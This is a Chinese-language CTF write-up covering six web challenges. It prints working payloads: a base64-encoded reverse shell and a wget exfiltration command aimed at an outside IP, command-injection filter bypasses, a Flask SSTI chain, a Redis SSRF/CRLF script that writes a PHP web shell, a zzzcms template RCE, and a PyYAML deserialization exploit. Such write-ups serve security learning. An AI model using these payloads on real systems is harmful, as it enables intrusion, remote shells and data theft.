目录

Command

考点:命令执行bypass
解题过程:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
error_reporting(0);
if (isset($_GET['url'])) {
$ip=$_GET['url'];
if(preg_match("/(;|'| |>|]|&| |\\$|python|sh|nc|tac|rev|more|tailf|index|php|head|nl|tail|less|cat|ruby|perl|bash|rm|cp|mv|\*|\{)/i", $ip)){
die("<script language='javascript' type='text/javascript'>
alert('no no no!')
window.location.href='index.php';</script>");
}else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
die("<script language='javascript' type='text/javascript'>
alert('no flag!')
window.location.href='index.php';</script>");
}
$a = shell_exec("ping -c 4 ".$ip);
}
?>

反弹shell:|echo%09"L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzEyOS4yMTEuOTMuMjgvMzMzMyAwPiYx"|base64%09-d|bas\h

存在一个问题,反弹shell一直连接不上,不知道是什么原因。还因为这个服务卡死了几次,得重新下发容器才能恢复。目前来看只能变换思路,直接执行命令寻找flag文件。

寻找flag文件的命令:grep -r "flag{" /,这里需要注意的是,命令进行base64编码之后有些字符在过滤里面,访问时会被拦截,可以用字符串拼接的方式进行绕过。

最终payload:|echo%09"Z3JlcCA""tciAiZmxhZ3siIC8="|base64%09-d|bas\h

-w1215

这里附上我队友的payload:

127.0.0.1.taia.a.a.a|echo%09”67726570202D722022666C61677B22202F203E202F746D702F703167335F31”%09|%09xxd%09-r%09-p%09|%09bas”h”

使用了xxd -r -p把16进制转为字符串然后执行,执行的语句为:grep -r "flag{" / > /tmp/p1g3_1 寻找flag写入到/tmp/p1g3_1

flaskbot

考点:Python float()函数Trick、SSTI
解题过程:

这里大意了,以为只是一道简单的SSTI,做了一会发现找不到回显点,就卡住了。通过debug报错能够获取到的部分源码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
        user=request.cookies.get('user')
if user == None:
return render_template("index.html")
else:
user=user.encode('utf-8')
return render_template("guess.html",name=base64.urlsafe_b64decode(user))

@app.route('/guess',methods=['POST'])
def Guess():
user=request.cookies.get('user')
if user==None:
return redirect(url_for("Hello"))
user=user.encode('utf-8')
name = base64.urlsafe_b64decode(user)
num = float(request.form['num'])
if(num<0):
return "Too Small"
elif num>1000000000.0:
return "Too Large"
else:
return render_template_string(guessNum(num,name))

@app.errorhandler(404)
def miss(e):
return "What are you looking for?!!".getattr(app, '__name__', getattr(app.__class__, '__name__')), 404

if __name__ == '__main__':
f_handler=open('/var/log/app.log', 'w')
sys.stderr=f_handler
app.run(debug=True, host='0.0.0.0',port=8888)

通过源码可以得知,这里的注入点肯定是return render_template_string(guessNum(num,name)),但是我一直不清楚传入的name怎么回显回来,最后队友直接找到了这个Trick,orz~。地址:https://zhuanlan.zhihu.com/p/164896822 其实这里直接google flaskbot ctf也能搜索的出来,当时大意了嗷。

-w701

当传入的num为nan之后,回显出来的就是有name的语句了。之后就是一个常规的SSTI的bypass了:

-w1215

这里同样的对一些字符进行了过滤,比如import、eval等,我们可以通过字符串拼接或者编码的方式进行绕过。下面是最终的payload:

1
2
3
4
5
# 最终payload
{{{}.__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__["ev""al"]("\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f\x28\x27\x6f\x73\x27\x29\x2e\x70\x6f\x70\x65\x6e\x28\x27\x63\x61\x74\x20\x2f\x73\x75\x70\x65\x72\x5f\x73\x65\x63\x72\x65\x74\x5f\x66\x6c\x61\x67\x2e\x74\x78\x74\x27\x29\x2e\x72\x65\x61\x64\x28\x29")}}

# 编码的字符串
__import__('os').popen('cat /super_secret_flag.txt').read()

-w1215

easygogogo

考点:不知道啥考点
解题步骤:(这题应该是一道非预期的题)
题目存在一个文件上传接口与查看文件内容的接口,题目存在两个需要注意的点:

  1. 查看文件时没有传递参数,是通过cookie来获取文件的。
  2. 上传文件处的文件名存在目录遍历问题

这道题的解题步骤我就直接贴上队友的过程了:

首先开一个容器随便上传一些东西,文件名为../../../../../../flag。把右边的cookie记录下来。重开容器,随意上传一些东西,然后到show下面改cookie为上面记录的cookie可以得到base64加密的flag

doyouknowssrf

考点:SSRF bypass、Python urlib3 CRLF漏洞、Redis主从复制
解题过程:

因为这道题是出的原题,所以SSRF bypass和Python urlib3 CRLF的过程这里就不再记录了。附上几个参考链接:

主要来看下CRLF后打Redis的整个流程是怎么样的,根据一些文章可以构造出用于攻击Redis的payload的脚本。生成的payload用到了SLAVEOF命令,访问之后会给指定vps的端口发送一个PING数据。(AUTH pwd是用于Redis认证的接口,爆破出来的密码为123456,爆破就可以使用这个脚本。)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import requests
import urllib.parse

target= "http://eci-2ze4i20uld1whv2gvhyu.cloudeci1.ichunqiu.com"
vps = "xx.xx.xx.xx"

payload = f''' HTTP/1.1
auth 123456
slaveof { vps } 3333
foo: '''

payload = urllib.parse.quote(payload).replace("%0A", "%0D%0A")
payload = "?url=http://127.0.0.1:6379/" + payload
payload = urllib.parse.quote(payload)
payload = "?url=http://foo@127.0.0.1:5000%20@www.baidu.com/" + payload
print(target + payload)

# res = requests.get(target + payload)
# print(res.text)

-w1591

现在已经可以执行我们想要的redis语句了,如果要想达读flag的效果的话,一共有两种思路,一种是直接通过主从复制拿到shell,另一种就是写一个shell到web根目录下。我尝试了前者,不能成功反弹shell。最后是队友修改redis-rogue-server.py脚本来通过主从复制写入任意文件到指定目录。(这里必须膜一下P1g3师傅) 拿到shell再获取flag。仓库地址为:https://github.com/n0b0dyCN/redis-rogue-server

整个思路是这样:通过CRLF来执行redis命令,配合使用redis-rogue-server.py来建立主从复制,将原本上传so文件处的代码修改为上传shell文件。

原本我们通过redis写shell的语句是:

1
2
3
4
5
6
flushall
config set dir /var/www/html
config set dbfilename shell.php
set webshell "<?php phpinfo();?>"
save
quit

如果我们要把shell.php写入到/var/www/html下去的话,那么上方脚本的payload处就应该修改为下方的内容(这里的vps端口设置为redis-rogue-server.py所开启的端口)

1
2
3
4
5
6
payload = f''' HTTP/1.1
auth 123456
config set dir /var/www/html
config set dbfilename shell.php
slaveof { vps } 21000
foo: '''

生成出来的payload:

http://eci-2ze0f7sk2zkkjjuvbzyh.cloudeci1.ichunqiu.com?url=http://foo@127.0.0.1:5000%20@www.baidu.com/%3Furl%3Dhttp%3A//127.0.0.1%3A6379/%2520HTTP/1.1%250D%250Aauth%2520123456%250D%250Aconfig%2520set%2520dir%2520/var/www/html%250D%250Aconfig%2520set%2520dbfilename%2520shell.php%250D%250Aslaveof%2520121.36.32.184%252021000%250D%250Afoo%253A%2520

利用步骤:

  1. 先开启redis-rogue-server.py服务
  2. 访问payload写入shell
  3. 直接访问shell.php读取flag

-w1755

http://eci-2ze0f7sk2zkkjjuvbzyh.cloudeci1.ichunqiu.com/shell.php?a=system(%27cat%20/flag%27);

-w871

easyzzz

考点:代码审计、payload构造
解题步骤:
(zzzcms在很久之前就已经审过,但是在做这道题的时候我一直没下载到源码,浪费了太多时间。)
zzzcms的前台rce参考:zzzcmsV1.7.5前台(文章最后),这道题目环境中对/search/路径下的POST形式的keys参数进行了过滤,但是在zzzcms框架中,参数是通过getform这个方法来获取的。查看代码可以发现,除了POST接收参数之外,也支持GET和COOKIE形式的接收。

-w681

尝试GET方法就可以直接用文章中的payload了:

-w875

接下来就是构造shell的payload,框架中的danger_key过滤了大多数可利用的函数,但array_map和base_convert这两个函数没有被过滤。通过这两个函数的配合使用,就可以构造出命令执行的payload。
构造思路:先将函数名从36进制转为10进制数字,再通过base_convert复原。作为array_map第一个的回调函数名传递进去就可以执行我们想要的命令了。但进制的转换无法转换除了数字字母之外的字符,可以通过异或的方式来得到。

编写一个可以Fuzz异或字符的脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import urllib.parse

def all_word(find_word_dict):
result_dict = []

for i in range(32,128):
for j in range(32,128):
for k in range(32,128):
result = chr(i^j^k)
if(result in find_word_dict):
a = i.to_bytes(1,byteorder='big')
b = j.to_bytes(1,byteorder='big')
c = k.to_bytes(1,byteorder='big')
a = urllib.parse.quote(a)
b = urllib.parse.quote(b)
c = urllib.parse.quote(c)
result_dict.append("%s:%s^%s^%s"%(result,a,b,c))
return result_dict

result = all_word([" ", "/"])
print(result)

Fuzz出来的结果如下:

1
2
空格 (base_convert(19,10,36)^base_convert(28,10,36)^base_convert(9,10,36))
/ (base_convert(25,10,36)^base_convert(1,10,36)^base_convert(23,10,36))

可以直接转换的字符:

1
2
3
4
5
phpinfo: base_convert(55490343972,10,36)
system: base_convert(1751504350,10,36)
ls : base_convert(784,10,36)
cat: base_convert(15941,10,36)
flag: base_convert(727432,10,36)

构造payload:

phpinfo():

1
{if:array_map(base_convert(27440799224,10,32),array(1))}{end if}

system('ls /'):

1
{if:array_map(base_convert(1751504350,10,36),array(base_convert(784,10,36).(base_convert(19,10,36)^base_convert(28,10,36)^base_convert(9,10,36)).(base_convert(25,10,36)^base_convert(1,10,36)^base_convert(23,10,36))))}{end if}

system('cat /flag'):

1
{if:array_map(base_convert(1751504350,10,36),array(base_convert(15941,10,36).(base_convert(19,10,36)^base_convert(28,10,36)^base_convert(9,10,36)).(base_convert(25,10,36)^base_convert(1,10,36)^base_convert(23,10,36)).base_convert(727432,10,36)))}{end if}

profile system

考点:PyYAML反序列化漏洞
解题步骤:
这题先通过目录遍历拿到源码/uploads/../app.js,在本地可以搭建起测试环境。经过一些代码审计可以发现一个比较明显的漏洞点,就是yaml.load(data)处。前面有一个简单的过滤,比较重要的就是把.过滤了,导致常见的PyYAML的payload利用不了。

-w1029

因为常见的payload利用不了,于是只能去寻找没有.的函数调用,最后寻找到的是eval函数,exec也可以,构造利用方式不太一样,可以参考:Python中eval带来的潜在风险,你知道吗?

eval函数payload:

1
2
3
4
!!python/object/new:eval ["__import__('os').system('whoami')"]

把字符串编码:
!!python/object/new:eval ["\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f\x28\x27\x6f\x73\x27\x29\x2e\x73\x79\x73\x74\x65\x6d\x28\x27\x77\x68\x6f\x61\x6d\x69\x27\x29"]

测试一下(如果你的环境直接yaml.load报错的话,可以在后面添加Loder=yaml.Loader来解决):

-w878

在本地测试成功。本以为这样就直接可以打了,结果在题目环境中怎么都打不通,后来队友通过下方的语句,确定了题目环境中不会执行我们的eval语句。下方的语句如果执行了eval语句的话,题目环境就会显示hello Administrator,反之则不会。

{user: !!python/object/new:eval [“chr(65)+chr(100)+chr(109)+chr(105)+chr(110)+chr(105)+chr(115)+chr(116)+chr(114)+chr(97)+chr(116)+chr(111)+chr(114)”]}

最后确定了原因,是因为环境上的yaml版本是5.x的,而我们本机上的应该是3.x的版本。所以必须寻找到5.x版本的payload,其实直接在google搜也可以搜到这个漏洞点的原题:uiuctf 2020 在这里的payload就是可以直接打通的。命令执行尝试了curl,没法打通。最后是用wget外带出结果。

1
2
3
4
5
6
# wget语句
wget --post-data="`ls`" http://129.211.93.28:3333
wget --post-data="`/readflag`" http://129.211.93.28:3333

# 最终payload
!!python/object/new:tuple [!!python/object/new:map [!!python/name:eval , ["\x5f\x5fimport\x5f\x5f('os')\x2esystem('\x77\x67\x65\x74\x20\x2d\x2d\x70\x6f\x73\x74\x2d\x64\x61\x74\x61\x3d\x22\x60\x2f\x72\x65\x61\x64\x66\x6c\x61\x67\x60\x22\x20\x68\x74\x74\x70\x3a\x2f\x2f\x31\x32\x39\x2e\x32\x31\x31\x2e\x39\x33\x2e\x32\x38\x3a\x33\x33\x33\x33')"]]]

-w623